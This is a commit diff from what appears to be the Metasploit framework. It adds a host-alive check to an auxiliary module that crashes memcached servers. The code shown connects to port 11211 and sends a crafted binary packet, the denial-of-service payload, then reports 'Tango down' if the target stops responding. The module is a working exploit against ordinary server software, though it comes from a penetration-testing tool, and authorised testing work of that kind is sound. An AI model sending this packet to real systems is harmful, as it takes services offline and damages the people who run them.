Skip to content

Commit 3d9dcbf

Browse files
committed
Add a check to see if the host is down
1 parent 76e70ad commit 3d9dcbf

File tree

1 file changed

+21
-3
lines changed

1 file changed

+21
-3
lines changed

modules/auxiliary/dos/misc/memcached.rb

Lines changed: 21 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -34,17 +34,35 @@ def initialize(info = {})
3434
register_options([Opt::RPORT(11211),], self.class)
3535
end
3636

37+
def is_alive?
38+
begin
39+
connect
40+
disconnect
41+
rescue Rex::ConnectionRefused
42+
return false
43+
end
44+
45+
return true
46+
end
47+
3748
def run
3849
connect
3950
pkt = "\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00"
4051
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00"
4152
pkt << "\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
4253
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
4354

44-
print_status("Sending dos packet...")
45-
55+
print_status("#{rhost}:#{rport} - Sending dos packet...")
4656
sock.put(pkt)
47-
4857
disconnect
58+
59+
print_status("#{rhost}:#{rport} - Checking host status...")
60+
select(nil, nil, nil, 1)
61+
62+
if is_alive?
63+
print_error("#{rhost}:#{rport} - The DoS attempt did not work, host is still alive")
64+
else
65+
print_good("#{rhost}:#{rport} - Tango down") # WWJS - What would th3j35t3r say?
66+
end
4967
end
5068
end

0 commit comments

Comments
 (0)